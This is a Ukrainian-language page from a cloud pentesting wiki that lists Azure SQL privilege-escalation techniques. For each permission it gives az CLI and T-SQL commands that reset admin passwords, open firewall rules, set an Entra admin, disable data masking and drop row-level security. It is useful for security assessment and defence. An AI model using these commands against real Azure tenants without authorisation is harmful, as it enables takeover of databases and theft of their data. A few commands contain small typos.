Files
hacktricks-cloud/src/pentesting-cloud/azure-security/az-privilege-escalation/az-sql-privesc.md

8.6 KiB
Raw Blame History

Az - SQL Database Privesc

{{#include ../../../banners/hacktricks-training.md}}

SQL Database Privesc

Для отримання додаткової інформації про SQL Database перегляньте:

{{#ref}} ../az-services/az-sql.md {{#endref}}

Microsoft.Sql/servers/read && Microsoft.Sql/servers/write

З цими дозволами користувач може виконати ескалацію привілеїв, оновлюючи або створюючи Azure SQL сервери та змінюючи критичні конфігурації, включаючи адміністративні облікові дані. Цей дозвіл дозволяє користувачу оновлювати властивості сервера, включаючи пароль адміністратора SQL сервера, що дозволяє несанкціонований доступ або контроль над сервером. Вони також можуть створювати нові сервери, потенційно вводячи тіньову інфраструктуру для зловмисних цілей. Це стає особливо критичним в середовищах, де "Microsoft Entra Authentication Only" вимкнено, оскільки вони можуть використовувати SQL-автентифікацію для отримання необмеженого доступу.

# Change the server password
az sql server update \
--name <server_name> \
--resource-group <resource_group_name> \
--admin-password <new_password>

# Create a new server
az sql server create \
--name <new_server_name> \
--resource-group <resource_group_name> \
--location <location> \
--admin-user <admin_username> \
--admin-password <admin_passwor d>

Крім того, необхідно увімкнути публічний доступ, якщо ви хочете отримати доступ з непри приватної точки доступу, щоб увімкнути це:

az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--enable-public-network true

Крім того, з правами ви можете активувати призначену ідентичність, працювати з керованою ідентичністю, прикріпленою до сервера. Наприклад, тут з керованою ідентичністю, яка може отримати доступ до Azure Storage:

az sql server update \
--name <server-name> \
--resource-group <resource-group> \
--assign_identity
CREATE DATABASE SCOPED CREDENTIAL [ManagedIdentityCredential]
WITH IDENTITY = 'Managed Identity';
GO


CREATE EXTERNAL DATA SOURCE ManagedIdentity
WITH (
TYPE = BLOB_STORAGE,
LOCATION = 'https://<storage-account>.blob.core.windows.net/<container>',
CREDENTIAL = ManagedIdentityCredential
);
GO

SELECT *
FROM OPENROWSET(
BULK 'message.txt',
DATA_SOURCE = 'ManagedIdentity',
SINGLE_CLOB
) AS DataFile;
GO

Microsoft.Sql/servers/firewallRules/write

Зловмисник може маніпулювати правилами брандмауера на Azure SQL серверах, щоб дозволити несанкціонований доступ. Це можна використати для відкриття сервера для конкретних IP-адрес або цілих діапазонів IP, включаючи публічні IP, що дозволяє доступ для зловмисників. Ця діяльність після експлуатації може бути використана для обходу існуючих мережевих засобів безпеки, встановлення стійкості або полегшення бічного переміщення в середовищі шляхом відкриття чутливих ресурсів.

# Create Firewall Rule
az sql server firewall-rule create \
--name <new-firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <start-ip-address> \
--end-ip-address <end-ip-address>

# Update Firewall Rule
az sql server firewall-rule update \
--name <firewall-rule-name> \
--server <server-name> \
--resource-group <resource-group> \
--start-ip-address <new-start-ip-address> \
--end-ip-address <new-end-ip-address>

Додатково, Microsoft.Sql/servers/outboundFirewallRules/delete дозволяє вам видаляти правило брандмауера.
ПРИМІТКА: Необхідно мати увімкнений публічний доступ.

Microsoft.Sql/servers/ipv6FirewallRules/write

З цим дозволом ви можете створювати, змінювати або видаляти правила брандмауера IPv6 на Azure SQL Server. Це може дозволити зловмиснику або авторизованому користувачу обійти існуючі конфігурації мережевої безпеки та отримати несанкціонований доступ до сервера. Додавши правило, яке дозволяє трафік з будь-якої IPv6 адреси, зловмисник може відкрити сервер для зовнішнього доступу.

az sql server firewall-rule create \
--server <server_name> \
--resource-group <resource_group_name> \
--name <rule_name> \
--start-ip-address <start_ipv6_address> \
--end-ip-address <end_ipv6_address>

Додатково, Microsoft.Sql/servers/ipv6FirewallRules/delete дозволяє вам видаляти правило брандмауера.
ПРИМІТКА: Необхідно мати увімкнений публічний доступ.

Microsoft.Sql/servers/administrators/write && Microsoft.Sql/servers/administrators/read

З цими дозволами ви можете підвищити привілеї в середовищі Azure SQL Server, отримуючи доступ до SQL баз даних і витягуючи критичну інформацію. Використовуючи команду нижче, зловмисник або авторизований користувач можуть встановити себе або інший обліковий запис як адміністратора Azure AD. Якщо увімкнено "Microsoft Entra Authentication Only", ви зможете отримати доступ до сервера та його екземплярів. Ось команда для встановлення адміністратора Azure AD для SQL сервера:

az sql server ad-admin create \
--server <server_name> \
--resource-group <resource_group_name> \
--display-name <admin_display_name> \
--object-id <azure_subscribtion_id>

Microsoft.Sql/servers/azureADOnlyAuthentications/write && Microsoft.Sql/servers/azureADOnlyAuthentications/read

З цими дозволами ви можете налаштувати та впровадити "Тільки аутентифікацію Microsoft Entra" на Azure SQL Server, що може сприяти ескалації привілеїв у певних сценаріях. Зловмисник або авторизований користувач з цими дозволами можуть увімкнути або вимкнути аутентифікацію лише через Azure AD.

#Enable
az sql server azure-ad-only-auth enable \
--server <server_name> \
--resource-group <resource_group_name>

#Disable
az sql server azure-ad-only-auth disable \
--server <server_name> \
--resource-group <resource_group_name>

Microsoft.Sql/servers/databases/dataMaskingPolicies/write

Змініть (або вимкніть) політики маскування даних у ваших SQL базах даних.

az rest --method put \
--uri "https://management.azure.com/subscriptions/<your-subscription-id>/resourceGroups/<your-resource-group>/providers/Microsoft.Sql/servers/<your-server>/databases/<your-database>/dataMaskingPolicies/Default?api-version=2021-11-01" \
--body '{
"properties": {
"dataMaskingState": "Disable"
}
}'

Видалити безпеку на рівні рядків

Якщо ви увійшли як адміністратор, ви можете видалити політики самого адміністратора та інших користувачів.

DROP SECURITY POLICY [Name_of_policy];

{{#include ../../../banners/hacktricks-training.md}}